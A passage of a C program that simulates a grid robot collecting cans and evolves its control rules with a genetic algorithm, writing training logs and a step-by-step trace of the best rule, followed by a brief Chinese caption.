//     uint32_t rot = oldstate >> 59u;
//     return (xorshifted >> rot) | (xorshifted << ((-rot) & 31));
// }

// static void fast_srand(const unsigned int seed) {
//     state = seed ^ 0x853c49e6748fea9bULL;
// }

// #define random fast_rand
// #define srandom fast_srand

static void create_random_world(bool world[restrict HEIGHT][WIDTH]) {
    bool *target;
    long i;
    for (i = 0; i < HEIGHT; i++) {
        memset(world[i], false, sizeof(bool) * WIDTH);
    }
    for (i = 0; i < CANS; i++) {
        do {
            target = world[random() % HEIGHT] + random() % WIDTH;
        } while (*target);
        *target = true;
    }
}

static void create_random_rule(enum action rule[restrict _SITUATIONS]) {
    for (long i = 0; i < _SITUATIONS; i++) {
        rule[i] = random() % _ACTIONS;
    }
}

static long get_situation(const long x, const long y,
                          const bool world[restrict HEIGHT][WIDTH]) {
    long situation = 0;
    if (y != 0) {
        situation += world[y - 1][x] ? 1 : 2;
    }
    situation *= 3;
    if (y != HEIGHT - 1) {
        situation += world[y + 1][x] ? 1 : 2;
    }
    situation *= 3;
    if (x != WIDTH - 1) {
        situation += world[y][x + 1] ? 1 : 2;
    }
    situation *= 3;
    if (x != 0) {
        situation += world[y][x - 1] ? 1 : 2;
    }
    situation *= 3;
    situation += world[y][x] ? 1 : 2;
    return situation;
}

#define UNLIKELY(X) __builtin_expect((X), false)

static long act(long *restrict x, long *restrict y,
                bool world[restrict HEIGHT][WIDTH], const enum action action) {
    switch (action) {
    case move_north:
        if (UNLIKELY(*y == 0)) {
            return KICK_WALL_PUNISH;
        } else {
            *y -= 1;
            return 0;
        }
    case move_south:
        if (UNLIKELY(*y == HEIGHT - 1)) {
            return KICK_WALL_PUNISH;
        } else {
            *y += 1;
            return 0;
        }
    case move_east:
        if (UNLIKELY(*x == WIDTH - 1)) {
            return KICK_WALL_PUNISH;
        } else {
            *x += 1;
            return 0;
        }
    case move_west:
        if (UNLIKELY(*x == 0)) {
            return KICK_WALL_PUNISH;
        } else {
            *x -= 1;
            return 0;
        }
    case stand_still:
        return 0;
    case pick_up:
        if (world[*y][*x]) {
            world[*y][*x] = false;
            return PICK_UP_CAN_REWARD;
        } else {
            return PICK_UP_AIR_PUNISH;
        }
    case move_random:
        return act(x, y, world, random() % _DIRECTIONS);
    }
    return 0;
}

static void mix_rules(const enum action rule1[restrict _SITUATIONS],
                      const enum action rule2[restrict _SITUATIONS],
                      enum action result1[restrict _SITUATIONS],
                      enum action result2[restrict _SITUATIONS]) {
    long i;
    long split = random() % (_SITUATIONS - 1);
    memcpy(result1, rule1, split * sizeof(enum action));
    memcpy(result2, rule2, split * sizeof(enum action));
    memcpy(result1 + split, rule2 + split,
           (_SITUATIONS - split) * sizeof(enum action));
    memcpy(result2 + split, rule1 + split,
           (_SITUATIONS - split) * sizeof(enum action));
    for (i = 0; i < MIXES; i++) {
        result1[random() % _SITUATIONS] = random() % _ACTIONS;
        result2[random() % _SITUATIONS] = random() % _ACTIONS;
    }
}

static int compare_results(const void *restrict result1,
                           const void *restrict result2) {
    return (int)(((struct result *)result2)->score -
                 ((struct result *)result1)->score);
}

static void train(struct history *restrict history, FILE *restrict log_file) {
    long i, j, k, l;
    long x, y, score, progress;
    enum action rules[RULES][_SITUATIONS];
    bool world[HEIGHT][WIDTH];
    bool temp_world[HEIGHT][WIDTH];
    struct result results[RULES];

    progress = 0;
    for (i = 0; i < RULES; i++) {
        create_random_rule(rules[i]);
    }

    printf("    Progress: ");
    for (i = 0; i < PROGRESS_BAR_UNITS; i++) {
        putchar('_');
    }
    for (i = 0; i < PROGRESS_BAR_UNITS; i++) {
        putchar('\b');
    }
    fflush(stdout);
    for (i = 0; i < EPOCHS; i++) {
        for (k = 0; k < RULES; k++) {
            results[k].score = 0;
        }

        for (j = 0; j < EXECS; j++) {
            create_random_world(world);

            for (k = 0; k < RULES; k++) {
                memcpy(temp_world, world, sizeof(bool) * HEIGHT * WIDTH);
                x = 0;
                y = 0;
                score = 0;

                for (l = 0; l < STEPS; l++) {
                    score += act(&x, &y, temp_world,
                                 rules[k][get_situation(x, y, temp_world)]);
                }
                results[k].score += score;
            }
        }

        for (j = 0; j < RULES; j++) {
            memcpy(results[j].rule, rules[j],
                   sizeof(enum action) * _SITUATIONS);
        }
        qsort(results, RULES, sizeof(struct result), compare_results);

        if (results[0].score > history->best_score) {
            memcpy(history->best_rule, results[0].rule,
                   sizeof(enum action) * _SITUATIONS);
            history->best_score = results[0].score;
        }
        fprintf(log_file, "%ld, ", results[0].score / EXECS);
        for (j = 0; j < _SITUATIONS; j++) {
            fprintf(log_file, "%u,", results[0].rule[j]);
            history->strategy[j][results[0].rule[j]][progress]++;
        }
        fputc('\n', log_file);
        if ((i + 1) % (EPOCHS / PROGRESS_BAR_UNITS) == 0) {
            putchar('*');
            fflush(stdout);
            progress++;
        }
        if (i == EPOCHS - 1) {
            putchar('\n');
            break;
        }

        for (j = 0; j < RULES - 1; j += 2) {
            mix_rules(results[WEIGHTED(random() % RULES, RULES)].rule,
                      results[WEIGHTED(random() % RULES, RULES)].rule, rules[j],
                      rules[j + 1]);
        }
    }
}

static void release_history(struct history *restrict history,
                            FILE *restrict log_file) {
    static const char *block_state[] = {"WALL", "CAN", "AIR"};
    long north, south, east, west, center;
    long i, _i, j;

    for (i = 0; i < _SITUATIONS; i++) {
        _i = i;
        center = _i % 3;
        _i -= center;
        _i /= 3;
        west = _i % 3;
        _i -= west;
        _i /= 3;
        east = _i % 3;
        _i -= east;
        _i /= 3;
        south = _i % 3;
        _i -= south;
        _i /= 3;
        north = _i % 3;

        fprintf(log_file, "\t%s\t\tmove_north: ", block_state[north]);
        for (j = 0; j < PROGRESS_BAR_UNITS; j++) {
            fprintf(log_file, "%ld", history->strategy[i][move_north][j]);
            if (j != PROGRESS_BAR_UNITS - 1) {
                fputs(" -> ", log_file);
            }
        }
        fputs(", move_south: ", log_file);
        for (j = 0; j < PROGRESS_BAR_UNITS; j++) {
            fprintf(log_file, "%ld", history->strategy[i][move_south][j]);
            if (j != PROGRESS_BAR_UNITS - 1) {
                fputs(" -> ", log_file);
            }
        }
        fprintf(log_file, "\n%s\t%s\t%s\tmove_east: ", block_state[west],
                block_state[center], block_state[east]);
        for (j = 0; j < PROGRESS_BAR_UNITS; j++) {
            fprintf(log_file, "%ld", history->strategy[i][move_east][j]);
            if (j != PROGRESS_BAR_UNITS - 1) {
                fputs(" -> ", log_file);
            }
        }
        fputs(", move_west: ", log_file);
        for (j = 0; j < PROGRESS_BAR_UNITS; j++) {
            fprintf(log_file, "%ld", history->strategy[i][move_west][j]);
            if (j != PROGRESS_BAR_UNITS - 1) {
                fputs(" -> ", log_file);
            }
        }
        fprintf(log_file, "\n\t%s\t\tpick_up: ", block_state[south]);
        for (j = 0; j < PROGRESS_BAR_UNITS; j++) {
            fprintf(log_file, "%ld", history->strategy[i][pick_up][j]);
            if (j != PROGRESS_BAR_UNITS - 1) {
                fputs(" -> ", log_file);
            }
        }
        fputs(", move_random: ", log_file);
        for (j = 0; j < PROGRESS_BAR_UNITS; j++) {
            fprintf(log_file, "%ld", history->strategy[i][move_random][j]);
            if (j != PROGRESS_BAR_UNITS - 1) {
                fputs(" -> ", log_file);
            }
        }
        fputs("\n\n\n", log_file);
    }
}

static void release_best_steps(struct history *restrict history,
                               FILE *restrict log_file) {
    long i, j, k;
    long x, y;
    bool world[HEIGHT][WIDTH];
    create_random_world(world);

    fprintf(log_file, "The best rule's result (average score = %ld/%u):\n\n",
            history->best_score / EXECS, CANS * PICK_UP_CAN_REWARD);

    x = 0;
    y = 0;
    for (i = 0; i <= STEPS; i++) {
        fprintf(log_file, "Step %ld:\n", i);
        for (j = 0; j < (WIDTH + 1) * 2; j++) {
            fputc('-', log_file);
        }
        fputc('\n', log_file);
        for (j = 0; j < HEIGHT; j++) {
            fputc('|', log_file);
            for (k = 0; k < WIDTH; k++) {
                if (j == y && k == x) {
                    if (world[j][k]) {
                        fputs("@ ", log_file);
                    } else {
                        fputs("O ", log_file);
                    }
                } else {
                    if (world[j][k]) {
                        fputs(". ", log_file);
                    } else {
                        fputs("  ", log_file);
                    }
                }
            }
            fputs("|\n", log_file);
        }
        for (j = 0; j < (WIDTH + 1) * 2; j++) {
            fputc('-', log_file);
        }
        fputs("\n\n\n", log_file);

        if (i == STEPS) {
            break;
        }

        act(&x, &y, world, history->best_rule[get_situation(x, y, world)]);
    }

    fputs("Done.", log_file);
}

int main(void) {
    struct history history = {0};
    FILE *train_log, *history_log, *best_steps_log;
    unsigned int seed;
    const char *seed_str;

    puts("Initializing...");
    train_log = fopen("train_log.csv", "w");
    history_log = fopen("strategy.txt", "w");
    best_steps_log = fopen("best_steps.txt", "w");
    if (train_log == NULL || history_log == NULL || best_steps_log == NULL) {
        perror("Unable to open log file");
        exit(EXIT_FAILURE);
    }
    seed_str = getenv("ROBY_SEED");
    if (seed_str) {
        seed = atoi(seed_str);
    } else {
        seed = (unsigned int)time(NULL);
    }
    srandom(seed);

    puts("Training...");
    train(&history, train_log);

    puts("Releasing...");
    release_history(&history, history_log);
    release_best_steps(&history, best_steps_log);

    fclose(train_log);
    fclose(history_log);
    fclose(best_steps_log);
    puts("Done.");
    return 0;
}

物品分拣机器人模拟

链接 我觉得盯着这玩意的感觉有点像盯着火焰或者滚筒洗衣机之类,可以看很久(